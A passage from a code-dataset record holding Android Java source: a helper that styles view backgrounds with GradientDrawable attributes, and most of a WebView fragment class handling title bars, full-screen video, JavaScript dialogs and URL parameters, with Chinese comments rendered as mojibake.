gradientDrawable);\n //<gradient>\n updateGradientDrawableGradient(context, typedArray, gradientDrawable);\n //<solid>\n updateGradientDrawableSolid(typedArray, gradientDrawable);\n //<stroke>\n updateGradientDrawableStroke(typedArray, gradientDrawable);\n //<corners>\n updateDrawableCorners(typedArray, gradientDrawable);\n //<padding>\n updateGradientDrawablePadding(typedArray, gradientDrawable);\n //<size>\n updateGradientDrawableSize(typedArray, gradientDrawable);\n\n view.setBackground(gradientDrawable);\n } finally {\n typedArray.recycle();\n }\n }\n return view;\n }\n\n\n /**\n * <shape xmlns:android=\"http://schemas.android.com/apk/res/android\"\n * android:shape=\"rectangle\"\n * android:useLevel=\"false\"\n * android:dither=\"true\"\n * android:innerRadius=\"10dp\"\n * android:innerRadiusRatio=\"1.2\"\n * android:tint=\"#fff\"\n * android:tintMode=\"src_in\"\n * android:visible=\"true\"\n * android:thickness=\"10dp\"\n * android:thicknessRatio=\"1.2\"\n * >\n */\n @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)\n private static void updateStateFromTypedArray(TypedArray a, GradientDrawable gradientDrawable) {\n int shape = a.getInt(R.styleable.ShapeBg_sp_shape, GradientDrawable.RECTANGLE);\n gradientDrawable.setShape(shape);\n\n boolean dither = a.getBoolean(R.styleable.ShapeBg_sp_dither, false);\n gradientDrawable.setDither(dither);\n\n if (shape == GradientDrawable.RING) {\n if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.Q) {\n int mInnerRadius = a.getDimensionPixelSize(\n R.styleable.ShapeBg_sp_innerRadius, -1);\n gradientDrawable.setInnerRadius(mInnerRadius);\n if (mInnerRadius == -1) {\n float mInnerRadiusRatio = a.getFloat(\n R.styleable.ShapeBg_sp_innerRadiusRatio, DEFAULT_INNER_RADIUS_RATIO);\n gradientDrawable.setInnerRadiusRatio(mInnerRadiusRatio);\n }\n\n int mThickness = a.getDimensionPixelSize(\n R.styleable.ShapeBg_sp_thickness, -1);\n gradientDrawable.setThickness(mThickness);\n if (mThickness == -1) {\n float mThicknessRatio = a.getFloat(\n R.styleable.ShapeBg_sp_thicknessRatio, DEFAULT_THICKNESS_RATIO);\n gradientDrawable.setThicknessRatio(mThicknessRatio);\n }\n }\n\n boolean mUseLevelForShape = a.getBoolean(\n R.styleable.ShapeBg_sp_useLevel, true);\n gradientDrawable.setUseLevel(mUseLevelForShape);\n }\n\n if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.Q) {\n final int tintMode = a.getInt(R.styleable.ShapeBg_sp_tintMode, -1);\n if (tintMode != -1) {\n BlendMode blendMode = parseBlendMode(tintMode, BlendMode.SRC_IN);\n gradientDrawable.setTintBlendMode(blendMode);\n }\n }\n\n final ColorStateList tint = a.getColorStateList(R.styleable.ShapeBg_sp_tint);\n if (tint != null) {\n gradientDrawable.setTintList(tint);\n }\n\n// Insets mOpticalInsets = Insets.NONE;\n// final int insetLeft = a.getDimensionPixelSize(\n// R.styleable.ShapeLayout_opticalInsetLeft, mOpticalInsets.left);\n// final int insetTop = a.getDimensionPixelSize(\n// R.styleable.ShapeLayout_opticalInsetTop, mOpticalInsets.top);\n// final int insetRight = a.getDimensionPixelSize(\n// R.styleable.ShapeLayout_opticalInsetRight, mOpticalInsets.right);\n// final int insetBottom = a.getDimensionPixelSize(\n// R.styleable.ShapeLayout_opticalInsetBottom, mOpticalInsets.bottom);\n// mOpticalInsets = Insets.of(insetLeft, insetTop, insetRight, insetBottom);\n\n }\n\n /**\n * <size android:width=\"\" android:height=\"\"/>\n */\n private static void updateGradientDrawableSize(TypedArray typedArray, GradientDrawable gradientDrawable) {\n if (typedArray.hasValue(R.styleable.ShapeBg_sp_width)\n || typedArray.hasValue(R.styleable.ShapeBg_sp_height)) {\n int width = typedArray.getDimensionPixelSize(\n R.styleable.ShapeBg_sp_width, -1);\n int height = typedArray.getDimensionPixelSize(\n R.styleable.ShapeBg_sp_height, -1);\n gradientDrawable.setSize(width, height);\n }\n }\n\n /**\n * <gradient\n * android:angle=\"\"\n * android:centerColor=\"\"\n * android:centerX=\"\"\n * android:centerY=\"\"\n * android:endColor=\"\"\n * android:startColor=\"\"\n * android:type=\"\"\n * android:gradientRadius=\"\"\n * android:useLevel=\"\"\n * />\n */\n private static void updateGradientDrawableGradient(Context context, TypedArray typedArray, GradientDrawable gradientDrawable) {\n\n float mCenterX = 0.5f;\n float mCenterY = 0.5f;\n float mGradientRadius = 0.5f;\n int mGradientRadiusType = RADIUS_TYPE_PIXELS;\n boolean mUseLevel = false;\n int gradientType = GradientDrawable.LINEAR_GRADIENT;\n\n mUseLevel = typedArray.getBoolean(R.styleable.ShapeBg_sp_gradientUseLevel, mUseLevel);\n gradientDrawable.setUseLevel(mUseLevel);\n\n gradientType = typedArray.getInt(R.styleable.ShapeBg_sp_gradientType, gradientType);\n gradientDrawable.setGradientType(gradientType);\n\n mCenterX = getFloatOrFraction(typedArray, R.styleable.ShapeBg_sp_gradientCenterX, mCenterX);\n mCenterY = getFloatOrFraction(typedArray, R.styleable.ShapeBg_sp_gradientCenterY, mCenterY);\n\n int startColor = typedArray.getColor(R.styleable.ShapeBg_sp_gradientStartColor, 0);\n int centerColor = typedArray.getColor(R.styleable.ShapeBg_sp_gradientCenterColor, 0);\n boolean hasCenterColor = typedArray.hasValue(R.styleable.ShapeBg_sp_gradientCenterColor);\n int endColor = typedArray.getColor(R.styleable.ShapeBg_sp_gradientEndColor, 0);\n if (hasCenterColor && Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {\n int[] colors = new int[]{startColor, centerColor, endColor};\n float[] positions = new float[]{0.0f, mCenterX != 0.5f ? mCenterX : mCenterY, 1f};\n gradientDrawable.setColors(colors, positions);\n } else {\n int[] colors = new int[]{startColor, endColor};\n gradientDrawable.setColors(colors);\n }\n\n GradientDrawable.Orientation mOrientation = GradientDrawable.Orientation.TOP_BOTTOM;\n int angle = (int) typedArray.getFloat(R.styleable.ShapeBg_sp_gradientAngle, 0);\n angle = ((angle % 360) + 360) % 360;\n if (angle >= 0) {\n switch (angle) {\n case 0:\n mOrientation = GradientDrawable.Orientation.LEFT_RIGHT;\n break;\n case 45:\n mOrientation = GradientDrawable.Orientation.BL_TR;\n break;\n case 90:\n mOrientation = GradientDrawable.Orientation.BOTTOM_TOP;\n break;\n case 135:\n mOrientation = GradientDrawable.Orientation.BR_TL;\n break;\n case 180:\n mOrientation = GradientDrawable.Orientation.RIGHT_LEFT;\n break;\n case 225:\n mOrientation = GradientDrawable.Orientation.TR_BL;\n break;\n case 270:\n mOrientation = GradientDrawable.Orientation.TOP_BOTTOM;\n break;\n case 315:\n mOrientation = GradientDrawable.Orientation.TL_BR;\n break;\n }\n } else {\n mOrientation = GradientDrawable.Orientation.TOP_BOTTOM;\n }\n gradientDrawable.setOrientation(mOrientation);\n\n\n final TypedValue tv = typedArray.peekValue(R.styleable.ShapeBg_sp_gradientRadius);\n if (tv != null) {\n if (tv.type == TypedValue.TYPE_FRACTION) {\n mGradientRadius = tv.getFraction(1.0f, 1.0f);\n\n final int unit = (tv.data >> TypedValue.COMPLEX_UNIT_SHIFT)\n & TypedValue.COMPLEX_UNIT_MASK;\n if (unit == TypedValue.COMPLEX_UNIT_FRACTION_PARENT) {\n mGradientRadiusType = RADIUS_TYPE_FRACTION_PARENT;\n } else {\n mGradientRadiusType = RADIUS_TYPE_FRACTION;\n }\n } else if (tv.type == TypedValue.TYPE_DIMENSION) {\n mGradientRadius = tv.getDimension(context.getResources().getDisplayMetrics());\n mGradientRadiusType = RADIUS_TYPE_PIXELS;\n } else {\n mGradientRadius = tv.getFloat();\n mGradientRadiusType = RADIUS_TYPE_PIXELS;\n }\n gradientDrawable.setGradientType(mGradientRadiusType);\n gradientDrawable.setGradientRadius(mGradientRadius);\n }\n\n }\n\n /**\n * <solid android:color=\"\" />\n */\n @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)\n private static void updateGradientDrawableSolid(TypedArray typedArray, GradientDrawable gradientDrawable) {\n final ColorStateList solidColor = typedArray.getColorStateList(\n R.styleable.ShapeBg_sp_solid);\n if (solidColor != null) {\n gradientDrawable.setColor(solidColor);\n }\n\n }\n\n /**\n * <stroke\n * android:width=\"\"\n * android:color=\"\"\n * android:dashWidth=\"\"\n * android:dashGap=\"\" />\n */\n @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)\n private static void updateGradientDrawableStroke(TypedArray typedArray, GradientDrawable gradientDrawable) {\n if (!typedArray.hasValue(R.styleable.ShapeBg_sp_strokeWidth)) {\n return;\n }\n\n int strokeWidth = typedArray.getDimensionPixelSize(R.styleable.ShapeBg_sp_strokeWidth, 0);\n float dashWidth = typedArray.getDimension(R.styleable.ShapeBg_sp_strokeDashWidth, 0);\n ColorStateList strokeColor = typedArray.getColorStateList(\n R.styleable.ShapeBg_sp_strokeColor);\n if (dashWidth != 0.0f) {\n float dashGap = typedArray.getDimension(R.styleable.ShapeBg_sp_strokeDashGap, 0);\n gradientDrawable.setStroke(strokeWidth, strokeColor, dashWidth, dashGap);\n } else {\n gradientDrawable.setStroke(strokeWidth, strokeColor);\n }\n }\n\n /**\n * <corners\n * android:bottomLeftRadius=\"\"\n * android:bottomRightRadius=\"\"\n * android:radius=\"\"\n * android:topLeftRadius=\"\"\n * android:topRightRadius=\"\" />\n */\n private static void updateDrawableCorners(TypedArray typedArray, GradientDrawable gradientDrawable) {\n\n int radius = typedArray.getDimensionPixelSize(R.styleable.ShapeBg_sp_radius, 0);\n final int topLeftRadius = typedArray.getDimensionPixelSize(\n R.styleable.ShapeBg_sp_topLeftRadius, radius);\n final int topRightRadius = typedArray.getDimensionPixelSize(\n R.styleable.ShapeBg_sp_topRightRadius, radius);\n final int bottomLeftRadius = typedArray.getDimensionPixelSize(\n R.styleable.ShapeBg_sp_bottomLeftRadius, radius);\n final int bottomRightRadius = typedArray.getDimensionPixelSize(\n R.styleable.ShapeBg_sp_bottomRightRadius, radius);\n if (topLeftRadius != radius || topRightRadius != radius ||\n bottomLeftRadius != radius || bottomRightRadius != radius) {\n gradientDrawable.setCornerRadii(new float[]{\n topLeftRadius, topLeftRadius,\n topRightRadius, topRightRadius,\n bottomRightRadius, bottomRightRadius,\n bottomLeftRadius, bottomLeftRadius\n });\n } else {\n gradientDrawable.setCornerRadius(radius);\n }\n }\n\n /**\n * <padding\n * android:bottom=\"\"\n * android:left=\"\"\n * android:right=\"\"\n * android:top=\"\" />\n * <p>\n * ๆณจๆ„ไผš่ฆ†็›–View็š„android:paddingๅฑžๆ€ง\n */\n private static void updateGradientDrawablePadding(TypedArray typedArray, GradientDrawable gradientDrawable) {\n if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {\n int padding = typedArray.getDimensionPixelOffset(R.styleable.ShapeBg_sp_padding, 0);\n if (padding > 0) {\n gradientDrawable.setPadding(padding, padding, padding, padding);\n } else {\n int paddingLeft = typedArray.getDimensionPixelOffset(R.styleable.ShapeBg_sp_paddingLeft, 0);\n int paddingTop = typedArray.getDimensionPixelOffset(R.styleable.ShapeBg_sp_paddingTop, 0);\n int paddingRight = typedArray.getDimensionPixelOffset(R.styleable.ShapeBg_sp_paddingRight, 0);\n int paddingBottom = typedArray.getDimensionPixelOffset(R.styleable.ShapeBg_sp_paddingBottom, 0);\n if (paddingLeft > 0 || paddingTop > 0 || paddingRight > 0 || paddingBottom > 0) {\n gradientDrawable.setPadding(paddingLeft,\n paddingTop,\n paddingRight,\n paddingBottom);\n }\n }\n }\n }\n\n private static float getFloatOrFraction(TypedArray a, int index, float defaultValue) {\n TypedValue tv = a.peekValue(index);\n float v = defaultValue;\n if (tv != null) {\n boolean vIsFraction = tv.type == TypedValue.TYPE_FRACTION;\n v = vIsFraction ? tv.getFraction(1.0f, 1.0f) : tv.getFloat();\n }\n return v;\n }\n\n public static BlendMode parseBlendMode(int value, BlendMode defaultMode) {\n if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {\n switch (value) {\n case 3:\n return BlendMode.SRC_OVER;\n case 5:\n return BlendMode.SRC_IN;\n case 9:\n return BlendMode.SRC_ATOP;\n // b/73224934 PorterDuff Multiply maps to Skia Modulate so actually\n // return BlendMode.MODULATE here\n case 14:\n return BlendMode.MODULATE;\n case 15:\n return BlendMode.SCREEN;\n case 16:\n return BlendMode.PLUS;\n default:\n return defaultMode;\n }\n }\n return defaultMode;\n }\n\n\n private static View createViewFromName(Context context, String name, AttributeSet attrs) {\n if (TextUtils.isEmpty(name)) {\n return null;\n }\n if (name.equals(\"view\")) {\n name = attrs.getAttributeValue(null, \"class\");\n }\n\n View view = null;\n try {\n mConstructorArgs[0] = context;\n mConstructorArgs[1] = attrs;\n\n if (!name.contains(\".\")) {\n if (TextUtils.equals(name, \"View\")) {\n view = createView(context, name, sViewClassPrefix);\n }\n\n if (view == null) {\n for (String prefix : sClassPrefixList) {\n try {\n view = createView(context, name, prefix);\n if (view != null) {\n break;\n }\n } catch (Exception e) {\n }\n }\n }\n } else {\n view = createView(context, name, null);\n }\n } finally {\n mConstructorArgs[0] = null;\n mConstructorArgs[1] = null;\n }\n return view;\n }\n\n private static View createView(Context context, String name, String prefix) {\n Constructor<? extends View> constructor = sConstructorMap.get(name);\n try {\n if (constructor == null) {\n Class<? extends View> clazz = Class.forName(prefix != null ? (prefix + name) : name, false,\n context.getClassLoader()).asSubclass(View.class);\n constructor = clazz.getConstructor(sConstructorSignature);\n sConstructorMap.put(name, constructor);\n }\n constructor.setAccessible(true);\n return constructor.newInstance(mConstructorArgs);\n } catch (Exception e) {\n return null;\n }\n }\n}\n" }, { "alpha_fraction": 0.5490729808807373, "alphanum_fraction": 0.5499974489212036, "avg_line_length": 34.79227828979492, "blob_id": "3119a1d9518fdf106f2cba92f21b7ad0d6bd7bf7", "content_id": "87317fa64655d482a567365542d220e165e65879", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 40618, "license_type": "no_license", "max_line_length": 127, "num_lines": 1088, "path": "/app/src/main/java/com/android/base/ui/WebViewFrag.java", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.android.base.ui;\n\nimport android.app.Activity;\nimport android.content.ClipData;\nimport android.content.ClipboardManager;\nimport android.content.Context;\nimport android.content.Intent;\nimport android.graphics.Bitmap;\nimport android.graphics.Color;\nimport android.net.Uri;\nimport android.net.http.SslError;\nimport android.os.Bundle;\nimport android.text.TextUtils;\nimport android.view.View;\nimport android.view.ViewGroup;\nimport android.view.WindowManager;\nimport android.webkit.DownloadListener;\nimport android.webkit.JsPromptResult;\nimport android.webkit.JsResult;\nimport android.webkit.SslErrorHandler;\nimport android.webkit.ValueCallback;\nimport android.webkit.WebChromeClient;\nimport android.webkit.WebSettings;\nimport android.webkit.WebView;\nimport android.webkit.WebViewClient;\nimport android.widget.FrameLayout;\nimport android.widget.ProgressBar;\nimport android.widget.RelativeLayout;\n\nimport com.android.util.LContext;\nimport com.android.util.ext.ToastUtil;\nimport com.android.util.log.LogUtil;\nimport com.android.base.Constant;\nimport com.android.base.event.EventMsg;\nimport com.android.base.util.CommonUtil;\nimport com.android.base.util.DispatchUtil;\nimport com.android.base.util.NotificationPageHelper;\nimport com.android.base.util.filedownloader.FileDownloadDialogView;\nimport com.android.base.util.filedownloader.FileDownloader;\nimport com.android.base.util.share.ShareDialog;\nimport com.android.base.util.share.ShareInfo;\nimport com.android.base.widget.AlertDialogView;\nimport com.android.base.widget.StatusBar;\nimport com.android.base.widget.TitleBarView;\nimport com.blankj.utilcode.util.BarUtils;\nimport com.blankj.utilcode.util.NetworkUtils;\nimport com.blankj.utilcode.util.SizeUtils;\nimport com.fastapp.R;\n\nimport org.greenrobot.eventbus.Subscribe;\nimport org.greenrobot.eventbus.ThreadMode;\nimport org.json.JSONArray;\nimport org.json.JSONException;\nimport org.json.JSONObject;\n\nimport java.io.File;\nimport java.io.Serializable;\nimport java.lang.reflect.Method;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.List;\nimport java.util.Set;\n\nimport common.widget.LoadingBar;\nimport common.widget.dialog.EffectDialogBuilder;\nimport common.widget.dialog.LoadingDialog;\n\n/**\n * WebView้กต้ข\n *\n * @author zhangquan\n */\npublic class WebViewFrag extends SimpleFrag {\n public static final String PARAM = \"PARAM\";\n private WebView webView;\n private ProgressBar progressBar;\n private LoadingBar loadingBar;\n private WebViewParam webViewParam;\n private TitleBarView titleBarView;\n private FrameLayout fullScreenView;\n private RelativeLayout webContainer;\n private View myView;\n private static final String TAG = \"WebViewFrag\";\n private LoadingDialog loadingDialog;\n private String original_Url; //่ฟ›ๅ…ฅ้กต้ข็š„url๏ผŒๆฒกๆœ‰ๆทปๅŠ ๅ…ฌๅ…ฑๅ‚ๆ•ฐ\n private boolean isInit = false;\n\n public static class WebViewParam implements Serializable {\n //ๆ ‡้ข˜\n public String title;\n //ๆ˜ฏๅฆ้œ€่ฆ้‡็ฝฎtitle ๆ˜พ็คบwebview็š„ๆ ‡้ข˜\n public boolean shouldResetTitle = true;\n //้“พๆŽฅURL url็›ฎๅ‰ๆ”ฏๆŒneedLogin(ๅ…ˆ็™ปๅฝ•)ใ€hideTitlebar(้š่—ๆ ‡้ข˜ๆ )ใ€lightModel(้€ๆ˜Ž็Šถๆ€ๆ ใ€้ป‘่‰ฒๆ–‡ๅญ—)\n public String url;\n public String titleBarColor; //ๆ ‡้ข˜ๆ color\n\n public ShareInfo shareInfo; //ๅˆ†ไบซไฟกๆฏ\n public boolean isShowShare; // ๆ˜ฏๅฆๆ˜พ็คบๅณไธŠ่ง’ๅˆ†ไบซๆŒ‰้’ฎ\n public boolean checkNetwork = true; //ๅ…ฅๅฃๆฃ€ๆŸฅ็ฝ‘็ปœ\n public boolean sensorOriention; //่‡ชๅŠจๆ—‹่ฝฌๅฑๅน•ๆ–นๅ‘\n }\n\n public static Bundle getParamBundle(WebViewParam param) {\n Bundle bundle = new Bundle();\n bundle.putSerializable(PARAM, param);\n return bundle;\n }\n\n public static SimpleFragAct.SimpleFragParam getStartParam(WebViewParam param) {\n return new SimpleFragAct.SimpleFragParam(param.title,\n WebViewFrag.class, WebViewFrag.getParamBundle(param));\n }\n\n public static void start(Context ctx, SimpleFragAct.SimpleFragParam param) {\n SimpleFragAct.start(ctx, param);\n }\n\n public static void start(Context ctx, WebViewParam param) {\n try {\n// String url = param.url;\n// String needLogin = Uri.parse(url).getQueryParameter(\"needLogin\");\n// if (TextUtils.equals(needLogin, \"1\") && UserClient.getUser() == null) { //้ฆ–ๅ…ˆ็™ปๅฝ•\n// LoginFragment.start(ctx);\n// } else {\n// SimpleFragAct.SimpleFragParam startParam = getStartParam(param);\n// startParam.mutliPage = true;\n// SimpleFragAct.start(ctx, startParam,param.sensorOriention);\n// }\n } catch (Exception e) {\n e.printStackTrace();\n }\n }\n\n @Override\n public int getLayoutId() {\n return R.layout.common_webview;\n }\n\n @Override\n public void init(Bundle savedInstanceState) {\n\n if (null != getArguments()) {\n webViewParam = (WebViewParam) getArguments().getSerializable(PARAM);\n }\n\n if (null == webViewParam) {\n close();\n return;\n }\n\n // ็ฝ‘็ปœๆ— ่ฟžๆŽฅ\n if (webViewParam.checkNetwork && !NetworkUtils.isAvailable()) {\n showToastShort(R.string.net_noconnection);\n close();\n return;\n }\n\n //่ฏทๆฑ‚ๆ— ้“พๆŽฅ\n if (TextUtils.isEmpty(webViewParam.url)) {\n showToastShort(\"่ฏทๆฑ‚ๆ— ้“พๆŽฅ\");\n close();\n return;\n }\n\n LogUtil.d(TAG, webViewParam.url);\n\n addAction(Constant.Event.LOGIN_SUCCESS);\n init();\n }\n\n\n @Override\n public void onResume() {\n super.onResume();\n try {\n Method onResume = webView.getClass().getMethod(\"onResume\");\n if (null != onResume) onResume.invoke(webView, (Object[]) null);\n } catch (Exception e) {\n e.printStackTrace();\n }\n if (isInit) {\n viewWillAppear();\n }\n isInit = true;\n }\n\n @Override\n public void onPause() {\n super.onPause();\n try {\n Method onPause = webView.getClass().getMethod(\"onPause\");\n if (null != onPause) onPause.invoke(webView, (Object[]) null);\n } catch (Exception e) {\n e.printStackTrace();\n }\n }\n\n private boolean handleBackEvent() {\n if (null != webView && webView.canGoBack()) {\n webView.goBack();\n return true;\n }\n return false;\n }\n\n protected void init() {\n webView = findViewById(R.id.webview);\n handleLongClick(); //้•ฟๆŒ‰ไฟๅญ˜ๅ›พ็‰‡\n fullScreenView = findViewById(R.id.video_fullscreen); //webview่ง†้ข‘ๅ…จๅฑๆ’ญๆ”พ\n webContainer = findViewById(R.id.web_parent);\n progressBar = findViewById(R.id.pb);\n loadingBar = findViewById(R.id.loadingBar);\n loadingBar.setOnClickListener(new View.OnClickListener() {\n @Override\n public void onClick(View v) {\n if (!loadingBar.canLoading()) {\n return;\n }\n if (!NetworkUtils.isAvailable()) {\n ToastUtil.show(R.string.net_noconnection);\n return;\n }\n webView.reload();\n }\n });\n\n titleBarView = getTitleBar();\n\n if (null != titleBarView) {\n View.OnClickListener backListener = new View.OnClickListener() {\n @Override\n public void onClick(View v) {\n if (handleBackEvent()) {\n return;\n }\n close();\n }\n };\n titleBarView.setOnLeftTxtClickListener(backListener);\n titleBarView.setOnLeftBtnClickListener(backListener);\n\n\n //ๅˆทๆ–ฐๆŒ‰้’ฎ\n titleBarView.setRightBtnDrawable(R.drawable.icon_refresh);\n titleBarView.mRightButton.setOnClickListener(new View.OnClickListener() {\n @Override\n public void onClick(View v) {\n if (!NetworkUtils.isAvailable()) {\n ToastUtil.show(R.string.net_noconnection);\n return;\n }\n webView.reload();\n }\n });\n\n //ๅˆ†ไบซ\n if (null != webViewParam.shareInfo) {\n titleBarView.setRightBtnDrawable(R.drawable.icon_share);\n titleBarView.mRightButton.setOnClickListener(new View.OnClickListener() {\n @Override\n public void onClick(View v) {\n ShareDialog.share(getActivity(), webViewParam.shareInfo);\n }\n });\n }\n\n if (webViewParam.isShowShare) {\n titleBarView.findViewById(R.id.title_icon_share).setVisibility(View.VISIBLE);\n titleBarView.findViewById(R.id.title_icon_share).setOnClickListener(new View.OnClickListener() {\n @Override\n public void onClick(View v) {\n\n }\n });\n } else {\n titleBarView.findViewById(R.id.title_icon_share).setVisibility(View.GONE);\n }\n }\n\n\n WebSettings webSettings = webView.getSettings();\n webSettings.setJavaScriptEnabled(true);\n webSettings.setAllowFileAccess(true);\n webSettings.setLoadWithOverviewMode(true);\n webSettings.setDomStorageEnabled(true);\n webSettings.setUseWideViewPort(true);\n webSettings.setLoadWithOverviewMode(true);\n webSettings.setMediaPlaybackRequiresUserGesture(false);//่‡ชๅŠจๆ’ญๆ”พ่ง†้ข‘\n webSettings.setAllowContentAccess(true); // ๆ˜ฏๅฆๅฏ่ฎฟ้—ฎContent Provider็š„่ต„ๆบ๏ผŒ้ป˜่ฎคๅ€ผ true\n webSettings.setAllowFileAccess(true); // ๆ˜ฏๅฆๅฏ่ฎฟ้—ฎๆœฌๅœฐๆ–‡ไปถ๏ผŒ้ป˜่ฎคๅ€ผ true\n // ๆ˜ฏๅฆๅ…่ฎธ้€š่ฟ‡file urlๅŠ ่ฝฝ็š„Javascript่ฏปๅ–ๆœฌๅœฐๆ–‡ไปถ๏ผŒ้ป˜่ฎคๅ€ผ false\n webSettings.setAllowFileAccessFromFileURLs(false);\n // ๆ˜ฏๅฆๅ…่ฎธ้€š่ฟ‡file urlๅŠ ่ฝฝ็š„Javascript่ฏปๅ–ๅ…จ้ƒจ่ต„ๆบ(ๅŒ…ๆ‹ฌๆ–‡ไปถ,http,https)๏ผŒ้ป˜่ฎคๅ€ผ false\n webSettings.setAllowUniversalAccessFromFileURLs(false);\n\n\n //่ฎพ็ฝฎ็ผ“ๅญ˜\n// webSettings.setCacheMode(WebSettings.LOAD_CACHE_ELSE_NETWORK);\n webSettings.setCacheMode(WebSettings.LOAD_NO_CACHE);\n\n int statusBarHeight = 0;\n try {\n statusBarHeight = BarUtils.getStatusBarHeight();\n statusBarHeight = SizeUtils.px2dp(statusBarHeight);\n } catch (Exception e) {\n statusBarHeight = 25;\n }\n LogUtil.d(TAG, \"statusBarHeight=\" + statusBarHeight);\n\n original_Url = webViewParam.url;\n\n //ๆ‹ผๆŽฅๅ‚ๆ•ฐ\n Uri uri = Uri.parse(webViewParam.url);\n Uri.Builder builder = uri.buildUpon();\n Set<String> parameterNames = uri.getQueryParameterNames();\n if (!parameterNames.contains(\"appVersion\")) {\n builder.appendQueryParameter(\"appVersion\", LContext.versionName);\n }\n if (!parameterNames.contains(\"isApp\")) {\n builder.appendQueryParameter(\"isApp\", \"1\");\n }\n\n if (!parameterNames.contains(\"statusBarH\")) { //็Šถๆ€ๆ ้ซ˜ๅบฆ\n builder.appendQueryParameter(\"statusBarH\", statusBarHeight + \"\");\n }\n\n webViewParam.url = builder.build().toString();\n\n //ๆ ‡้ข˜ๆ ่ƒŒๆ™ฏ\n if (webViewParam.titleBarColor != null) {\n getTitleBar().setBackgroundColor(Color.parseColor(webViewParam.titleBarColor));\n getTitleBar().setTitleTextColor(R.color.white);\n getTitleBar().setLeftBtnWhiteColor();\n } else {\n titleBarView.setBackgroundColor(Color.WHITE);\n }\n\n uri = Uri.parse(webViewParam.url);\n //้š่—ๆ ‡้ข˜ๆ \n String hideTitlebar = uri.getQueryParameter(\"hideTitlebar\");\n if (TextUtils.equals(hideTitlebar, \"1\")) {\n titleBarView.setVisibility(View.GONE);\n String lightModel = uri.getQueryParameter(\"lightModel\");\n if (TextUtils.equals(lightModel, \"1\")) {\n StatusBar.setStatusBar(mContext, true, titleBarView);\n } else {\n StatusBar.setStatusBar(mContext, false, titleBarView);\n }\n } else {\n StatusBar.setStatusBar(mContext, true, titleBarView);\n }\n\n\n LogUtil.d(TAG, \"ๅŠ ่ฝฝ url=\" + webViewParam.url);\n webView.loadUrl(webViewParam.url);\n webView.setWebChromeClient(new DWebChromeClient());\n webView.setWebViewClient(new DWebViewClient());\n webView.setDownloadListener(new DWebViewDownLoadListener());\n\n }\n\n /**\n * ่พ…ๅŠฉWebViewๅค„็†Javascript็š„ๅฏน่ฏๆก†ใ€็ฝ‘็ซ™ๅ›พๆ ‡ใ€็ฝ‘็ซ™titleใ€ๅŠ ่ฝฝ่ฟ›ๅบฆ็ญ‰\n */\n private final class DWebChromeClient extends WebChromeClient {\n\n /**\n * ๅ…จๅฑๆจกๅผ\n *\n * @param view ้œ€่ฆๅฑ•็คบ็š„viewๅ†…ๅฎน\n * @param callback\n */\n @Override\n public void onShowCustomView(View view, CustomViewCallback callback) {\n super.onShowCustomView(view, callback);\n LogUtil.d(TAG, \"onShowCustomView view=\" + view);\n try {\n ViewGroup parent = (ViewGroup) webView.getParent();\n parent.removeView(webView);\n\n fullScreenView.addView(view);\n fullScreenView.setVisibility(View.VISIBLE);\n getTitleBar().setVisibility(View.GONE);\n myView = view;\n setFullScreen();\n } catch (Exception e) {\n e.printStackTrace();\n }\n }\n\n @Override\n public void onHideCustomView() {\n super.onHideCustomView();\n LogUtil.d(TAG, \"onHideCustomView \");\n try {\n if (myView != null) {\n fullScreenView.removeAllViews();\n webContainer.addView(webView);\n fullScreenView.setVisibility(View.GONE);\n\n getTitleBar().setVisibility(View.VISIBLE);\n myView = null;\n quitFullScreen();\n }\n } catch (Exception e) {\n e.printStackTrace();\n }\n }\n\n @Override\n public boolean onJsAlert(WebView view, String url, String message, final JsResult result) {\n LogUtil.d(TAG, \"onJsAlert,url=\" + url + \",message=\" + message);\n AlertDialogView dialogView = new AlertDialogView(webView.getContext())\n .setTitle(\"ๆ็คบ\")\n .setContent(message)//\n .setSingleBtn(\"็กฎๅฎš\", new View.OnClickListener() {\n @Override\n public void onClick(View v) {\n result.confirm();\n }\n });\n\n new EffectDialogBuilder(webView.getContext())\n .setCancelable(false)\n .setCancelableOnTouchOutside(false)\n .setContentView(dialogView).show();\n\n// return super.onJsAlert(view, url, message, result);\n return true;\n }\n\n @Override\n public boolean onJsBeforeUnload(WebView view, String url, String message, JsResult result) {\n return super.onJsBeforeUnload(view, url, message, result);\n }\n\n @Override\n public boolean onJsConfirm(WebView view, String url, String message, final JsResult result) {\n LogUtil.d(TAG, \"onJsConfirm,url=\" + url + \",message=\" + message);\n AlertDialogView dialogView = new AlertDialogView(webView.getContext())\n .setContent(message)//\n .setRightBtn(\"็กฎๅฎš\", new View.OnClickListener() {\n @Override\n public void onClick(View v) {\n result.confirm();\n }\n })\n .setLeftBtn(\"ๅ–ๆถˆ\", new View.OnClickListener() {\n @Override\n public void onClick(View v) {\n result.cancel();\n }\n });\n new EffectDialogBuilder(webView.getContext())\n .setCancelable(false)\n .setCancelableOnTouchOutside(false)\n .setContentView(dialogView).show();\n// return super.onJsConfirm(view, url, message, result);\n return true;\n }\n\n @Override\n public boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) {\n LogUtil.d(TAG, \"onJsPrompt,url=\" + url + \",message=\" + message);\n return super.onJsPrompt(view, url, message, defaultValue, result);\n }\n\n\n @Override\n public void onReceivedTitle(WebView view, String title) {\n super.onReceivedTitle(view, title);\n LogUtil.d(TAG, \"onReceivedTitle,url=\" + view.getUrl());\n LogUtil.d(TAG, \"onReceivedTitle,title=\" + title);\n if (webViewParam.shouldResetTitle && !TextUtils.isEmpty(title) && !title.startsWith(\"http\")) {\n if (null != titleBarView) {\n titleBarView.setTitleText(title);\n }\n if (!\"็™ปๅฝ•\".equals(title)) {\n webViewParam.title = title;\n }\n }\n\n }\n\n /**\n * ไธŠไผ ๆ–‡ไปถ\n *\n * @param webView\n * @param filePathCallback\n * @param fileChooserParams\n * @return\n */\n @Override\n public boolean onShowFileChooser(WebView webView,\n ValueCallback<Uri[]> filePathCallback,\n FileChooserParams 